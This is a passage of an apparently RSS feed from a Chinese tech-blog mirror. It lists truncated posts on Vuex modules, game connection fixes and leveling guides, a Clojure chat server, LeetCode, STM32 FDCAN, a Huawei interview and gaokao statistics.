客户应该在Authorization头中提供什么类型的授权信息？在包含401（Unauthorized）状态行的应答中这个头是必需的。例如，response.setHeader(&#34;WWW-Authenticate&#34;, &#34;BASIC realm=＼&#34;</description>
    </item>
    <item>
      <title>vue vuex 模块化 namespace</title>
      <link>https://bchobby.github.io/posts/a6a74459bf7bf941b4606cd4832ad710/</link>
      <pubDate>Thu, 29 Jul 2021 13:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6a74459bf7bf941b4606cd4832ad710/</guid>
      <description>总结：&#xA;如果不用map写的话,就如下只有state数据形式结构是正常的&#xA;但是mutations和actions和getters写法都会不一样.因为它的内容包裹不一样了&#xA;如果不模块化的话,就像这边,求和和人员的方法都写在一起,到以后功能多了,就会有好多方法,会让这一个mutations非常臃肿,不好维护&#xA;所以我们要把不同分类的mutation放在不同位置&#xA;state actions getters也也是一样&#xA;所以我们要把它们分类好&#xA;非常简单&#xA;然后创建store时&#xA;要配置modules属性&#xA;命名与变量相同可以简写&#xA;但如果这样写的话之前组件里写的也就拿不到了&#xA;因为store进行模块化后,里面state不能直接读到sum school subject personList&#xA;验证下,&#xA;发现state里面有a，a里面才有数据&#xA;所以直接mapState的时a和b 然后再在模板上读a b里面的东西&#xA;也可以通过配置namespace来通mapState直接进行分类读取&#xA;这边namespace:true配置后,&#xA;你的countAbout这个分类名,才会被mapState识别&#xA;第一个参数为分类名,第二个为你要分类中映射的数据&#xA;然后这边mapmutations也会出错，毕竟前面说过这样简写就会默认为commit(&#39;JIA&#39;,??)问号里面参数是模板中自己写进去的&#xA;解决与maspState同理,在前面加上一个参数，写入分类名就行&#xA;mapActions也是一样&#xA;mapGetters也是一样&#xA;在人员组件中我们不用map映射的方式来写，用麻烦的写法&#xA;但是发现报错&#xA;这是因为这边commit的时候没有说这个方法是在那个分类中，就像之前用map映射一样会有两个参数第一个是指定在哪个分类之中的,第二为在分类中数据方法的名字&#xA;但是如果像映射一样去通过加一个参数去指名分类是不对的&#xA;而正确的写法是去前面加入一个‘/’底层代码就会通过斜杠来区分出这是分类名&#xA;但写getters时发现同样写法,但是报错了 发现getters里面的结构和state不一样&#xA;既然.的方式行不通,那就用[]来读取&#xA;而且dispatch也是一样&#xA;而且还可以通过分文件.进行分别管理&#xA;然后再index.js中进行引用&#xA;如果要通过发请求从得到的数据进行对数据的处理&#xA;那么就要在actions进行发送请求</description>
    </item>
    <item>
      <title>御龙在天手游服务器满怎么注册,御龙在天手游新区开区第一天 速冲等级不用愁...</title>
      <link>https://bchobby.github.io/posts/941c710a269769174763535bf8f0c4e0/</link>
      <pubDate>Thu, 29 Jul 2021 04:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/941c710a269769174763535bf8f0c4e0/</guid>
      <description>原标题：御龙在天手游新区开区第一天 速冲等级不用愁&#xA;御龙在天手游第一天升46攻略，让你在等级榜上遥遥领先，这样你就能让更多的人认识你，记住你的名字。&#xA;下区准备好成长基金。10：25准时进去，进去选择远程职业，1-6级跟着主线做，第六级有个剧情，点那个刀叉，加经验。手动点，别跳过剧情。记住别跳过，手动点，到达7级了，接着跑主线到达9级的时候又有个剧情，手动点刀叉，加经验。继续走主线，直接用飞行符，加快速度，别浪费时间。到达15级，又有个剧情，手动点刀叉。主线到达20级时候已经没主线了，这时候接一次英雄史话，就做一次。就可以到达21级了。然后接着跑主线，到达24级时候，又没主线做了，这个时候，把20级的另外两次英雄史话做完。这时25级了，又可以接主线了，接着跑主线直到29级偷猪主线，偷猪的时候尽量等花猪前一分钟的时候去偷，尽量把花猪抱回家。经验更高，花猪每5钟刷新一次。做完偷猪主线继续跑主线，直到33级。&#xA;到达主线33级的时候是关键了，没有主线做了，这时到底该做什么任务，接着说，这时候把30级的三次英雄史话打完，再接着做10次紫色皇榜任务，这时候到达35级了，接着可以跑主线了，直到38级，这时候又没主线可做了。第一天升级的关键点就在于38级，该怎样合理去做剩下的日常任务，才能到达40级。接着说，到达38级，没主线了，这时候去把剿匪刷完，刷高级怪，单人刷，别组队，别让队友坑了，这里特别要说下，挂三十分钟剿匪一定得挂到三格经验。每只怪的经验应该是1836，刷完剿匪，这时候应该是中午12点多了，可以接取鸡毛信任务了，先把两次鸡毛做完，不管你用什么办法，一定得给我怼出两躺紫鸡毛。六元充值送一个紫色毛。在接着把龙脉也做了，这两个任务做完应该是39级多了，马上40级，接着，把温泉互动做完，相互五星好评。这中间如果时间是在于12点30分左右，记得把答题做了，经验很高的。到达40级第一件事就是把五次讨饭令牌吃了，刷成紫色的。&#xA;然后，接主线，40的主线做完了，在把40级的三次英雄史话打完，到达这里已经没有主线可做了，然后去偷三次猪，三次花猪，耐心等五分钟刷新一次。猪偷完就挂机吧，耐心挂机，到王城去找45级，或49级的怪挂机，别去中立区，会有人杀你的。虽然经验更高，但是不安全。个人建议在王城挂机，得记住找人少的地方挂机，吃四个三倍经验丹。不出意外，五次讨伐令牌任务完成，在挂半个小时，就可以到达42级了。继续挂机，一直挂到晚上19点，这里着重说下，如果你在19点前挂机没挂到42级二格经验，你今天就别想在46级了，所以，挂机千万得仔细，争取挂机挂到42级二格经验。不出意外，挂到19点的时候应该是42级百分之二十五的。接着到达19点组队喝酒，喝5等紫色酒，喝酒的时候附近的人越多，经验值越高。喝五等酒的经验是百分四十七，在把家族种植做完，百分之三经验。这两个任务完事后，估计今天在线时间已经到达八小时了，下线休息吧。坐等21点55分在上线，期待本国卡出国王，到达22点的时候就差不多有国王了，如果本国没有，速度转国家，一定得转到有国王的国家，耐心等待镖局拉车，三次紫车，不管你用什么办法，一定能怼出来。成长基金里面送一个。每次经验是百分六十三，50次机会，瞎怼都能怼出来。拉完两次车的时候，把最后的两次董卓打完，董卓每次经验百分十八点五，接着最后躺车拉完，恭喜你45级了，接着把45的主线做了，百分七十的经验，接着去偷经书，这里要说下，家族任务有两个是45级可以开启的，腾蛇，和家族讨逆，你得让族长给你个副族长，你把家族讨逆开启了，自己去做，腾蛇别开，你会死的很惨，那个蛇不是你一个人能打的过的。腾蛇等第二天经验找回。如果家族有人帮你一起打，那你可以开启腾蛇任务。经书三次偷完，把中立拜雕像也做了，做完这些任务，正常情况应该是46级百分五十五经验。这就是第一天的升级技巧。&#xA;个人心得提示两点，第一，38级偷鸡毛这里非常重要，一定得紫色，其二，41级挂机刷怪经验获得，一定得刷到百分二十五经验左右。这两点很重要的，祝大家第一天成功升46级。&#xA;更多资讯，攻略关注官网！下期再会。&#xA;97973手游网声明：97973手游网登载此文出于传递更多信息之目的，并不意味着赞同其观点或证实其描述。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>单机dnf正在连接服务器,win7系统dnf正在连接服务器的解决方法</title>
      <link>https://bchobby.github.io/posts/668b4acaaa8b6e283ad06431e2d6a6c0/</link>
      <pubDate>Thu, 29 Jul 2021 03:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/668b4acaaa8b6e283ad06431e2d6a6c0/</guid>
      <description>我们在操作win7系统电脑的时候,常常会遇到win7系统dnf正在连接服务器的困惑吧，一些朋友看过网上零散的win7系统dnf正在连接服务器的处理方法，并没有完完全全明白win7系统dnf正在连接服务器是如何解决的，今天小编准备了简单的解决办法，只需要按照手动关闭游戏或者使用wegame腾讯游戏助手软件来快速强制关闭游戏，如下图所示，小编使用了wegame中自带的关闭游戏功能，在点击wegame右下角的 三 按钮，在弹出的选项中选择【关闭游戏】；关闭后点击 开始游戏即可正常进入游戏。出现这样的现象是由于当前win7系统电脑与dnf游戏服务器连接失败导致的，这个问题早在以往就会有发生，但是到了跨区合并游戏大区后问题又被进一步放大了。和DNF本身服务器问题有很大的关系。的顺序即可轻松解决，具体的win7系统dnf正在连接服务器教程就在下文，一起来看看吧！&#xA;解决方法一：&#xA;1、手动关闭游戏或者使用wegame腾讯游戏助手软件来快速强制关闭游戏，如下图所示，小编使用了wegame中自带的关闭游戏功能，在点击wegame右下角的 三 按钮，在弹出的选项中选择【关闭游戏】；&#xA;2、关闭后点击 开始游戏即可正常进入游戏。出现这样的现象是由于当前win7系统电脑与dnf游戏服务器连接失败导致的，这个问题早在以往就会有发生，但是到了跨区合并游戏大区后问题又被进一步放大了。和DNF本身服务器问题有很大的关系。&#xA;解决方法二：&#xA;1、任务栏右下角的网络图标，然后点击‘打开网络和共享中心’；&#xA;2、点击左边的‘更改适配器设置’，如图：&#xA;3、在适配器设置界面找到本地连接，在本地连接上单击右键，选择【属性】；&#xA;4、在属性界面，找到【internwet 协议版本4(TCP/IPV4)】双击打开或者点击【属性】按钮；&#xA;5、然后点【使用下面的dns服务器地址】，将首选dns服务器设置为 8.8.8.8 然后点击确定 按钮保存设置，当然并非一定要8.8.8.8，我们可以按自己合适的dns来进行设置，那么那个dns合适呢？我们可以使用360安全卫士中-- 功能大全 -- 网络优化 -- dns优选 来查看最合适自己当前网络的dns在进行设置即可！</description>
    </item>
    <item>
      <title>正在连接聊天服务器...,Clojure中的可扩展聊天服务器.存在和消息到达的问题黑白重新连接...</title>
      <link>https://bchobby.github.io/posts/04da351ad2d2bffb414d8a0d9255ed1a/</link>
      <pubDate>Thu, 29 Jul 2021 02:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04da351ad2d2bffb414d8a0d9255ed1a/</guid>
      <description>我正在尝试在Clojure中构建可扩展的聊天服务器.我正在使用http-kit,compojure和redis pub / sub在不同节点之间进行通信(扇出方法).服务器将使用websockets连接黑白客户端-服务器,并回退到长时间轮询.单个用户可以具有多个连接,以与浏览器中每个选项卡的一个连接聊天,并且应该将消息传递给所有连接.&#xA;所以基本上,当用户连接时,我将通道存储在具有随机uuid的原子中&#xA;{:userid1 [{:socketuuid &#34;random uuid#1 for uerid1&#34; :socket &#34;channel#1 for userid1&#34;}&#xA;{:socketuuid &#34;random uuid#2&#34; :socket &#34;channel#2&#34;}]&#xA;:userid2 [{:socketuuid &#34;random uuid#1 for userid2&#34; :socket &#34;channel#1 for userid2}]}&#xA;消息被发布到websockets和长轮询通道的通用路由,消息结构看起来像&#xA;{:from &#34;userid1&#34; :to &#34;userid2&#34; :message &#34;message content&#34;}&#xA;服务器在：from和：to用户ID中找到原子中的所有通道,并将消息发送到各个用户的连接通道,同时还在Redis服务器上发布消息,连接节点在其中查找存储在其节点中的通道拥有原子并将消息传递给各个用户.&#xA;因此,我遇到的问题是如何正确实现状态.基本上,当通道断开连接时,http-kit会向您发送状态,状态可以是“服务器关闭”或“客户端关闭”,而我可以处理服务器断开连接(客户端将自动重新连接),但是断开连接时我遇到了问题从客户端发生,例如.用户导航到另一个页面,几秒钟后将连接.当客户端断开连接时,如何确定用户已脱机.我也担心长轮询模式下的消息到达黑白会重新连接(我的长轮询超时是30秒).&#xA;另外,请为上述架构提出一个良好的呈现机制.谢谢.&#xA;如果您需要更多信息,请发表评论.谢谢&#xA;编辑#1：&#xA;您能推荐有关在聊天服务器中实现在线状态的良好教程/材料吗,我似乎什么也找不到.&#xA;我当前的解决方案-&amp;gt;我目前正在维护一个特定用户ID的已连接通道的全局计数和最后连接的时间戳,当用户断开连接时,计数会减少,并且会实施10秒钟的超时,这将检查用户是否已重新连接(即上次连接的戳记的使用时间为10秒,计数仍然为零),如果不是,则认为用户已脱机,您是否会推荐此解决方案？如果不是,则建议您采取任何改进或更好的方法.&#xA;另外请注意,我正在使用http-kit中的timer / scheduled-task,这些超时是否会对性能产生重大影响？</description>
    </item>
    <item>
      <title>绝地求生玩什么服务器最快,【真国服第一！《绝地求生》国服采用超性能服务器任何宽带都畅玩】...</title>
      <link>https://bchobby.github.io/posts/8147d36ea45bb27d6d09a5329a19a74b/</link>
      <pubDate>Thu, 29 Jul 2021 02:21:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8147d36ea45bb27d6d09a5329a19a74b/</guid>
      <description>原标题：【真国服第一！《绝地求生》国服采用超性能服务器任何宽带都畅玩】&#xA;昨晚《绝地求生》国服官博发文表示，《绝地求生》国服将采用超性能服务器，帮助玩家的体验更加快速稳定。同时国服还推出“全服跨运营商网络全互联”，只要是在国服，无论玩家是哪家运营商体验都基本相同。&#xA;原文：&#xA;“要不是刚刚卡了一下，这局我绝对吃鸡！”&#xA;相信所有怀揣着“吃鸡”梦想，奋斗在《绝地求生》的鸡友们可能都有过同样的想法。&#xA;你是否对始终无法成功登录游戏抱有怨言？你是否已经受够了绝命1V1时的延迟暴涨？你又是否已经习惯了漫长的等待？《绝地求生》国服将会给你带来崭新的游戏体验，狗年吃鸡就在国服，速度快人一步！&#xA;首次使用超性能服务器&#xA;为了解决可能困扰过鸡友们的服务器连接不稳定情况， 《绝地求生》国服首次使用了超性能服务器，相比于以往的普通服务器，超性能服务器单台成本提升了两倍，但是为了给所有玩家呈现一个最稳定的游戏环境和带来最卓越的性能提升，一切都是值得的。&#xA;按照描述来说，现在咱们在steam上玩吃鸡所遇到的不知名卡顿和掉线会得到极大改善。&#xA;跨运营商网络全互联&#xA;什么？我再也不用XX运营商了，玩游戏卡死了？没关系，《绝地求生》国服不仅讲究速度，还讲究公平。我们首次推出了全服“跨运营商网络全互联”，只要你想在国服吃鸡，不管你使用的网络属于哪家运营商，统统一视同仁，游戏体验基本无差。&#xA;相对于英雄联盟虽然开通了全网战区但还在划分网通区和电信区的机制，国服吃鸡在这方面能够达到竞技游戏玩家最渴望的战区---拿第一就真的要国服第一！而不是国服电信第一或者网通第一。&#xA;首次开启下载不限速&#xA;估计不少玩家对每次游戏更新是又期待又纠结，期待的是希望更新能够带来更好的优化和新内容，却又纠结龟速的下载速度实在太耗费时间，有时候几十kb的下载速度甚至让我们觉得自己是不是上了个假网。&#xA;而现在，腾讯针对《绝地求生》国服首次开启了下载不限速功能。不限速！不限速！不限速！重要的事情说三遍。总结下来就是这样：只要你的网速有多快，你的下载游戏的速度就有多快，理论上，无下载速度上限。国服吃鸡，速度快人一步！&#xA;就是以前咱们被限速过~~&#xA;好啦~关于国服服务器的爆料内容就先说到这，盒妹今后还将持续为大家带来国服相关的爆料内容，敬请期待！感谢大家对《绝地求生》国服的支持，祝大家大吉大利，天天吃鸡！&#xA;其实说这么多，大家心里想的那就是一个国服啥时候上线呢？可别消费粉丝热情了，草嗷呜~~~&#xA;责任编辑：</description>
    </item>
    <item>
      <title>地下城与勇士正在自动连接频道服务器,DNF爆满频道服务器连接失败解决方法分享...</title>
      <link>https://bchobby.github.io/posts/b01d723fc1a9dc7afdc6f55688ac4558/</link>
      <pubDate>Thu, 29 Jul 2021 01:56:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b01d723fc1a9dc7afdc6f55688ac4558/</guid>
      <description>DNF从3月24日更新后登陆游戏会自动选择上次最后登陆游戏的频道进入，不会再出现频道选择界面，当上次的频道爆满后，玩家就无法登陆进入游戏了，小编也遇到过这种情况，后来经过多方查找终于找到了解决的办法，下面小编就为大家分享。&#xA;解决方法：&#xA;1、最简单的办法&#xA;删除电脑中的以下文件：C:\Users\用户名\AppData\LocalLow\DNF，dnf.cfg(或者C:\Users\Administrator\AppData\LocalLow\DNF，dnf.cfg)&#xA;注意不同的系统可能文件的地址有所不同，可以直接在C盘搜索dnf.cfg文件。&#xA;删除以后就能重上游戏自己随机选一条线登陆了。打码的是qq号。&#xA;还顺带能把支援兵弄成这样的状态，方便一键出战的时候不用把大号也一起出战再归队了&#xA;2、进阶的办法&#xA;打开上面的dnf.cfg文件，搜索server&#xA;不过我也没弄懂有十个搜索结果的话，到底是哪个对应哪个qq，如果搜索server的结果比较多的话可以尝试第一个办法，那样的话还简单很多。&#xA;本地频道的代码根据区服不一样，所以我只能给个大概的办法确认&#xA;100000000E0000001E 例如此频道是代表14X的话，那么13X就是100000000D0000001D，15X就是100000000F0000001F&#xA;在标注的地方一起多加一位=频道往前+1，少一位=频道往后+1，算法是十六进制即是遇到例如3F，往上+1则是40&#xA;这个就不隐藏了，希望能帮到有需要的人。&#xA;DNF爆满频道服务器连接失败解决方法就介绍到这里，相信各位玩家们都有所了解了吧，喜欢本文的玩家可以关注本站，小编还会为大家带来更多好看好玩的游戏游戏攻略。</description>
    </item>
    <item>
      <title>力扣102题、107题（二叉树、层次遍历、较难）</title>
      <link>https://bchobby.github.io/posts/a06701fefab6ff9b869b7139f72250d1/</link>
      <pubDate>Wed, 28 Jul 2021 19:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a06701fefab6ff9b869b7139f72250d1/</guid>
      <description>102.给你一个二叉树，请你返回其按 层序遍历 得到的节点值。 （即逐层地，从左到右访问所有节点）。&#xA;本来这是一个比较简单的题目，只需要通过一个队列就能到完成层次遍历了，但是题目非要你返回一个二维数组，同时还要记录层数跟每一层有多少个元素，这就是难点所在了。 这里需要用到另一个关于内存分配的函数realloc，用于调整返回的数组的大小。&#xA;realloc函数：&#xA;根据评论区题解写出以下代码，该题处理空间的分配的做法还是很有必要学习一下的。&#xA;/** * Definition for a binary tree node. * struct TreeNode { * int val; * struct TreeNode *left; * struct TreeNode *right; * }; */ int** levelOrder(struct TreeNode* root, int* returnSize, int** returnColumnSizes){ int **res = NULL; //用于存储返回结果 int *columnSize = NULL; //用于存储每一层有多少个节点 struct TreeNode **queue = malloc(sizeof(struct TreeNode*) * 2000); struct TreeNode *pNode = NULL; int front = 0, rear = 0, pre_rear; *returnSize = 0; //用于记录层 int i = 0; //用于记录每一层有多少个节点 if (!</description>
    </item>
    <item>
      <title>使用python编写一个简单的计算器</title>
      <link>https://bchobby.github.io/posts/42601fca36a13edfa6313aad056869d0/</link>
      <pubDate>Wed, 28 Jul 2021 19:12:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42601fca36a13edfa6313aad056869d0/</guid>
      <description>代码：&#xA;结果：&#xA;代码解析：&#xA;def test(content): return content.isdigit() testCMD = root.register(test) e1 = Entry(frame,textvariable=n1,width=10,validate=&#34;key&#34;,\ validatecommand=(testCMD,&#39;%P&#39;)).grid(row=0,column=0) e2 = Entry(frame,textvariable=n2,width=10,validate=&#34;key&#34;,\ validatecommand=(testCMD,&#39;%P&#39;)).grid(row=0,column=2) 这一部分代码是为了让第一个和第二个输入框中只能输入数字，对于字母、汉字、特殊字符等&#xA;会进行判定不允许输入进输入框中&#xA;e3 = Entry(frame,textvariable=n3,width=10,state=&#34;readonly&#34;)\ .grid(row=0,column=4) 此行代码定义第三个输入框，但是其中的“ state=&#34;readonly&#34; ”表示此输入框只允许进行读取和copy不允许对齐进行输入内容&#xA;def calc(): result = int(n1.get()) + int(n2.get()) n3.set(str(result)) 定义计算过程与结果并将其进行类型转换方便后面输出结果&#xA;要是想简单的将此加法计算器改为其他类型的计算器，只需要在此步骤更改齐运算方式即可&#xA;Button(frame,text=&#34;计算结果&#34;,command=calc).grid(row=1,column=2,padx=5,pady=5) Button(frame,text=&#34;退出&#34;,command=frame.quit).grid(row=1,column=4,padx=5,pady=5) 定义两个按钮：输出结果和退出&#xA;注释：代码中的row以及column分别代表行和列，适当的调整可以使程序更加的美观&#xA;如下图： 图中的（0,0）分别代表着（row=0,column=0）也就是第0行，第0列&#xA;同理（1,4）代表（row=1,column=4），也即是第1行，第4列&#xA;要注意在python中row以及column的起始值是0</description>
    </item>
    <item>
      <title>计算机c盘满了怎么移到d盘去,Win10电脑c盘满了怎么转移到d盘？</title>
      <link>https://bchobby.github.io/posts/c58f17202f6171c3e910d9a75356a352/</link>
      <pubDate>Wed, 28 Jul 2021 15:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c58f17202f6171c3e910d9a75356a352/</guid>
      <description>许多用户在使用电脑的时候因为不良的使用习惯，经常将一些文件或者程序安装在电脑的C盘中，最终导致C盘爆满电脑卡顿。那么我们要怎么把C盘的文件转移D盘呢？下面小编就带着大家一起看看吧！&#xA;操作方法：&#xA;1、双击“这台电脑”打开，在这台电脑中我们就可以看到我的文档，我的视频，我的音乐等私人文件夹；&#xA;2、右键点击你想转移的文件夹，选择属性；&#xA;3、打开文件夹属性后，点击“位置”标签切换过去；&#xA;4、这里我们就可以看移动选项了，我们可以点击移动然后浏览到一个我们创建好的文件夹进行转移，当然如果你嫌麻烦的话，我们还可以直接将，路径如C：USERXXDocuments更改为如D:USERXXDocumentsXX为你的用户名，然后点击应用，这时会弹出一个问我们是否要建立文件夹的提示，我们选择是；&#xA;5、OK，这么我们就转移成功啦，再打开D盘看看，是不是多了一个User的文件夹呢，接下去我们分别以同样的方法把我的视频、音乐的文件夹都转移过去就可以了。&#xA;Win10文件夹的属性还有“位置”标签，使用它就能转移位置，另外，把文件转移到一个没有建立的文件夹，系统就会即时建立，很便捷。</description>
    </item>
    <item>
      <title>【FDCAN】STM32G0B1&#43;FDCAN&#43;HAL库调试记录</title>
      <link>https://bchobby.github.io/posts/e71ad81d4b895aba39a83a8e36d8aa60/</link>
      <pubDate>Wed, 28 Jul 2021 14:27:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e71ad81d4b895aba39a83a8e36d8aa60/</guid>
      <description>文章目录 前言一、实验环境？二、CAN和FDCAN区别1.介绍2.FDCAN有哪些优点（个人角度）： 三、CAN发送1.STM32CubeMX配置截图：2.用户需要自己添加的内容：3.调试结果： 四、CAN接受1.滤波器类型采用掩码方式：1）添加如下函数实现：2）调试结果： 总结 前言 本文是本人以STM32G0B1为平台，记录下调试总结，仅供参考，若有不对的地方，还劳烦指正。&#xA;一、实验环境？ 1）MCU：STM32FG0B1VCT6 2）CAN工具：广成CAN总线分析仪双通道can转usb模块USBCAN调试解析工具can卡 3）CAN收发器：TCAN1042DRQ1&#xA;4）STM32CubeMX版本：V6.3.0&#xA;5）固件版本：STM32Cube FW_G0 V1.5.0&#xA;6）仿真器：ST-LINK V2&#xA;7）MDK: V5.30.0.0&#xA;二、CAN和FDCAN区别 1.介绍 CAN：1986 年德国电气商博世公司开发出面向汽车的CAN 通信协议.&#xA;CAN_FD:随着人们对数据传输带宽要求的增加，传统的CAN总线由于带宽的限制难以满足这种增加的需求。此外为了缩小CAN网络（max. 1MBit/s）与FlexRay(max.10MBit/s)网络的带宽差距，2011年BOSCH公司推出了CAN FD 。&#xA;2.FDCAN有哪些优点（个人角度）： 1）速度更快，最快可以达到10M，普遍采用5M。&#xA;2）一包数据长度最大支持64个字节，而普通CAN一包最大8个字节，通信效率大大提高。&#xA;3）CAN_FD全称是Flexible Data-Rate，意思就是帧报文中数据段波特率可变的特性，即仲裁段和数据控制段使用标准的通信波特率，而传输数据段时就会切换到更高的通信波特率。&#xA;三、CAN发送 1.STM32CubeMX配置截图： 1）Clock Divider：表示CAN时钟分频，STM32G0B1时钟最大支持64M，这里选择不分频。&#xA;2）Frame Format：这里选择经典模式，即把它当作普通CAN模式。&#xA;3）Mode：这里选择正常工作模式，此外还有回环模式。&#xA;4）Nominal Prescaler：表示仲裁段和数据控制段分频系数&#xA;5）Nominal Sync Jump Width：重新同步跳跃宽度。&#xA;6）Nominal Time Seg1和Nominal Time Seg2：和设置波特率有关，BAUD=Freq/Clock Divider/Prescaler/(Seg1+Seg2+1)=64M/1/8/(10+5+1)=500K&#xA;7）下面Data和上面类似。&#xA;8）Std Filters Nbr：标准帧滤波器数量。是配置CAN接受时候使用的滤波器数量，用了多少个就写多少个。&#xA;9）Ext Filters Nbr：扩展帧滤波器数量。&#xA;2.用户需要自己添加的内容： 1）在初始化的时候添加如下：&#xA;if (HAL_FDCAN_Start(&amp;amp;hfdcan2) != HAL_OK) { Error_Handler(); } 2）在主循环中添加如下：</description>
    </item>
    <item>
      <title>上海华为OD--JAVA面试总结</title>
      <link>https://bchobby.github.io/posts/4d80539b367a40b618a13f480516c814/</link>
      <pubDate>Wed, 28 Jul 2021 13:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d80539b367a40b618a13f480516c814/</guid>
      <description>我是2021年6月21日收到华为OD的机试邀请，华为OD机试第一次做很难，我在2019年的时候第一次接触这个机试，三道题一题不会，要想通过，前期不去LeetCode上刷题那是不可能的，好在这次面试有个华为的人事全程对接，可能是od那边真的很缺人，他们急迫想招人进去，然后给了一份常考机试题的答案给我了，一百多道，我大概花了5天时间，全部敲了一遍，机考链接给下来，有7天有效期，如果准备准备不充分的千万不要尝试去做，没过有6个月的封禁期，实在是得不偿失。想去OD的同学下面这个链接的机试题务必请务必掌握都是高频考题：&#xA;华为OD机试高频考题&#xA;下面重点讲一下本次7轮面试的面试题以及注意点：&#xA;第一轮 机试 2021年6月27日 说明机试第一和第二题一般对应LeetCode上的中等题，第三题为困难模式，总分400分，通过180分，也即是2道中等题搞出来基本就过了&#xA;第一题：&#xA;查找众数及中位数 1.众数是指一组数据中出现次数量多的那个数，众数可以是多个 2.中位数是指把一组数据从小到大排列，最中间的那个数，如果这组数据的个数是奇数，那最中间那个就是中位数，如果这组数据的个数为偶数，那就把中间的两个数之和除以2，所得的结果就是中位数 3.查找整型数组中元素的众数并组成一个新的数组，求新数组的中位数 输入描述: 输入一个一维整型数组，数组大小取值范围 0&amp;lt;N&amp;lt;1000，数组中每个元素取值范围 0&amp;lt;E&amp;lt;1000 输出描述: 输出众数组成的新数组的中位数 示例1： 输入 10 11 21 19 21 17 21 16 21 18 15 输出 21 示例2： 输入 2 1 5 4 3 3 9 2 7 4 6 2 15 4 2 4 输出 3 示例3： 输入 5 1 5 3 5 2 5 5 7 6 7 3 7 11 7 55 7 9 98 9 17 9 15 9 9 1 39 输出 7 答案(测试用例通过100%)，【注：最终得分=用例通过率*本题总分数】</description>
    </item>
    <item>
      <title>历年计算机使用人数变化,历年高考人数和录取率统计-数据可视化</title>
      <link>https://bchobby.github.io/posts/80a66178fdfb51e28f8a61b99d6ffbe0/</link>
      <pubDate>Wed, 28 Jul 2021 02:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80a66178fdfb51e28f8a61b99d6ffbe0/</guid>
      <description>今天是高考第二天，我们来回顾一下从1977年恢复高考以来高考人数和录取率的情况。&#xA;从以下数据可以看出，1977-1980年刚恢复高考这几年，高考人数较多。1984年高考人数最少，1985-2001年高考人数从不到200万逐步增加到近500万，2002-2007年高考人数以每年多100万的人数增加，2008年达到最高峰，2009年稍微有所下降，2010-2018年人数变化不大，均为900多万，2019年又增至1000万以上。&#xA;从录取人数上看，是逐年增加的。从1977年录取人数只有27万，到2019年的814万，可以看出中国近几年培养出了大量的大学生。录取人数增加幅度基本上从新世纪以来增加迅猛，这样也让很多人有遍地是大学生的错觉。&#xA;从录取率看，也是逐年增加。从1977年录取比例4.7%，到2018年的81.13%，可见考大学是越来越容易了。&#xA;高考是人生的转折点，千千万万学子寒窗苦读就为了这两天。但高考不是终点，而是另一个开始，永远要保持对知识的渴望，对美好明天的向往。愿每个高考学子都能考上理想的大学！</description>
    </item>
    <item>
      <title>中国近五年的计算机专业就业率,未来五年，我国最有发展前途的工科专业，毕业好就业，发展前途好...</title>
      <link>https://bchobby.github.io/posts/cb937dab5f6cf114f1d56556c29cb2da/</link>
      <pubDate>Wed, 28 Jul 2021 01:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb937dab5f6cf114f1d56556c29cb2da/</guid>
      <description>还有几天时间高考成绩就要公布了，等到成绩公布之后，同学们就要着手准备填报志愿的事情。填报志愿也是一件非常重要的事情，影响着我们未来的就业前途与发展方向，因此在填报志愿之前一定要做足功课，对各个院校与专业的录取分数线，未来的就业前途都要进行详细的了解。这样才能防止我们在填报志愿时出差错。工科专业比起文科专业，毕业后就业面更广，而且正是我国缺乏的人才。只要在校期间把专业知识学好，毕业后是不愁就业的。今天就跟大家分享我国未来最有前景的工科专业有哪些？&#xA;1、计算机类专业&#xA;计算机专业的就业岗位很多，聚集了大量高端人才，每年的该专业的毕业率在90%以上。因为计算机学科交叉面非常多，覆盖了社会各行业，这就决定了该专业毕业后的就业领域非常广泛。受互联网的影响，我国大多数院校都开设了了计算机专业，因此造成计算机专业市场的人才增长迅速，不过对于计算机高端人才缺口却很大。所以如果学习该专业一定要把知识学好，这业后就很容易拿到高薪水，在我国一线城市该专业的毕业生基本都能拿到万元以上的薪资。&#xA;2.建筑学专业&#xA;随着我国城市化进程速度越来越快，对于建筑学的人才需求量较大，而该专业的学生毕业之后，基本上就是从事建筑设计行业，要具有一定的绘图技术。尤其是一些知名院校的毕业生，十分吃香，还没有毕业，就已经与企业签订了就业合同，而作为该专业的毕业生也愿意去与专业对口的单位就职。&#xA;3.人工智能专业&#xA;随着我国的社会发展，多数行业逐渐走向智能化。人工智能未来也将是一片蓝海，发展前景只会越来越好。再加上该方面的人才市场需求较大，如果有意向报考该专业学生，可以好好考虑。我们选择什么样的专业，不仅仅是看他当前是否热门，而是要看他在未来发展的潜力如何。人工智能专业因为现在还处在发展的初级阶段，本来还有十分大的发展潜力。&#xA;4.通信工程&#xA;随着计算机与互联网的广泛应用，推动了通信工程专业的发展。通信工程专业是电子工程的一个重要分支，涉及的领域较广，跨了电子与计算机行业。在近几年来该行业发展领域呈迅猛的增长趋势。毕业以后的就业率也很高。不过该专业设置的课程较多，知识点很复杂，想要学好并不容易，但是一旦学好毕业之后的前途就很光明。比如南京邮电大学，中国民航大学开设的通信工程专业都非常有实力。&#xA;在选择专业时不要看专业在现在是否热门，因为即使是非常热门的专业，但是等到我们大学4年毕业之后，那热门专业很可能就变成了冷门专业。所以我们在选择专业之前一定要对专业未来的发展进行研究，一定要选择呈上升趋势发展的行业。而不要选择在走下坡路的夕阳行业，对我们自身的发展非常不利。&#xA;举报/反馈</description>
    </item>
    <item>
      <title>使用itext将HTML 生成PDF文件</title>
      <link>https://bchobby.github.io/posts/5fd3ac3f6ec085ec1951e1c84ee44656/</link>
      <pubDate>Wed, 28 Jul 2021 00:46:28 +0800</pubDate>
